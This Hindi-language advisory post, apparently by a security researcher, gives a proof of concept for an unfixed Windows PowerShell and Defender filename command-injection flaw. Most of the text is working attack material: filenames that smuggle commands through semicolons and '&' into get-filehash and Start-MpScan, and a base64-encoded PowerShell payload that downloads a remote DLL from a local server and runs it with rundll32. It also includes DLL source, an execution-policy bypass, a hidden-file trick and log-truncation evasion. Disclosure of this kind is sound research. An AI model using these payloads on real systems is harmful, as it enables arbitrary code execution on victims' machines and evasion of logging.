
अनफिक्स्ड Windows PowerShell फ़ाइलनाम कोड निष्पादन POC
Windows PowerShell फ़ाइलनाम और Defender Anti-Malware API - कोड निष्पादन POC
खोज: John Page (उर्फ hyp3rlinx) 2019 और 2023 में पुनः देखा गया
अद्यतन: 24 दिसंबर, 2023
PowerShell में कोड निष्पादन के लिए सिंगल कोट्स की बाधा को दरकिनार करना और बोनस PS Windows इवेंट लॉग विफलता!
सेमीकोलन और मित्र "&" ऑपरेटर मिलकर मनमाना कोड निष्पादन क्षमताएं प्रदान करते हैं।
कुछ अवांछित मैलवेयर चलाएँ:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5
या
Windows Defender एंटी-मैलवेयर स्कैन:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'
जहाँ Malware.exe उसी निर्देशिका में मौजूद है, इसे ड्राइव-बाय डाउनलोड समझें।
Windows इवेंट लॉग विफलता, PS इवेंट ID 403, ट्रंकेटिंग के कारण वास्तविक फ़ाइल नाम लॉग करने में विफल:
PS लॉग स्निपेट:
HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803
ping कमांड कॉल करें? क्यों नहीं
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5
पीड़ित को लॉगऑफ करें:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'
अद्यतन: 7 दिसंबर, 2023, CL और Windows Defender API वेक्टर जोड़ा गया, नीचे देखें:
चूंकि यह अभी भी काम करता है, मैंने इसे धूल झाड़कर पुनः उपयोग में लाया और मामूली सुधार किए हैं:
पहली बार 2019 में Microsoft को रिपोर्ट किया गया था, फिर भी इस लेखन के समय तक अनफिक्स्ड बना हुआ है।
एक विशेष रूप से तैयार की गई फ़ाइलनाम के माध्यम से रिमोट कोड निष्पादन।
यह दोष सेमीकोलन ";" के कारण है; हम Base64 कमांड को डिकोड कर सकते हैं और सीधे PS1 फ़ाइलनाम से निष्पादित कर सकते हैं या केवल कमांड निष्पादित कर सकते हैं।
Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1
तुरंत कमांड कॉल करें
"Testing;saps (gc -) PoC;.ps1"
वेक्टर: डबल क्लिक, PS शॉर्टकट पर ड्रैग एंड ड्रॉप
यह "saps", "gc" जैसे वैकल्पिक शॉर्टहैंड PS कमांड का लाभ उठाता है, जो प्रोसेस शुरू करने और get-content आदि के लिए होते हैं।
एक ट्रोजन PS1 फ़ाइल बनाएं जो "1.d" नामक रिमोट DLL को डाउनलोड और निष्पादित करने का प्रयास करेगी।
Python:
from base64 import b64encode
b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))
cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA
DLL कोड:
#include <windows.h>
//gcc -shared -o mydll.dll mydll.c -m32
//hyp3rlinx
void evilo(void){
MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
evilo();
return 0;
}
python -m http.server 80
ट्रोजन PS1 फ़ाइल पर डबल क्लिक करें।
saps "start a process" और gc "get-content" युक्त नाम वाली एक PS1 फ़ाइल बनाएं, यह छिपी हुई फ़ाइल से कमांड पढ़ेगी।
"Test;saps (gc -) PoC;.ps1"
छिपी हुई फ़ाइल बनाएं: attrib +s +h "-"
डबल क्लिक करें या ड्रैग एंड ड्रॉप करें।
a) PowerShell PS1 फ़ाइलों को डिफ़ॉल्ट प्रोग्राम के रूप में PowerShell के साथ खोलने के लिए सेट किया जाना चाहिए
b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
c) उपयोगकर्ता को दुर्भावनापूर्ण नाम वाली PS1 स्क्रिप्ट पर डबल-क्लिक करना होगा, cmd लाइन से चलाना होगा या ड्रैग एंड ड्रॉप करना होगा

अद्यतन: Microsoft Defender Anti-Malware PowerShell API - मनमाना कोड निष्पादन।
Microsoft Defender Anti Malware और/या PS API के परिणामस्वरूप मनमाना कोड निष्पादित किया जा सकता है। उदाहरण के लिए, किसी निर्देशिका, शॉर्टकट .lnk या यहां तक कि अस्तित्वहीन आइटम को स्कैन करने पर अनपेक्षित कोड निष्पादित हो सकता है। यह वेक्टर मेरी पिछली सलाह (advisory) और उसके बाद के प्रोजेक्ट PSTrojanFile पर आधारित है।
आवश्यकताएँ:
उदाहरण:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip"
(Helper.exe डेस्कटॉप पर स्थित है)
निर्देशिका ";saps Test" बनाएं, Test.exe, Test.cmd आदि उसी CL पथ पर हों
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"
सेमीकोलन के साथ निर्देशिका बनाएं, उसी पथ में doom.exe नामक PE फ़ाइल डालें।
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"
अंतिम लेकिन महत्वपूर्ण:
PowerShell में फ़ाइल हैश लेते समय आप लॉग आउट हो जाते हैं :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"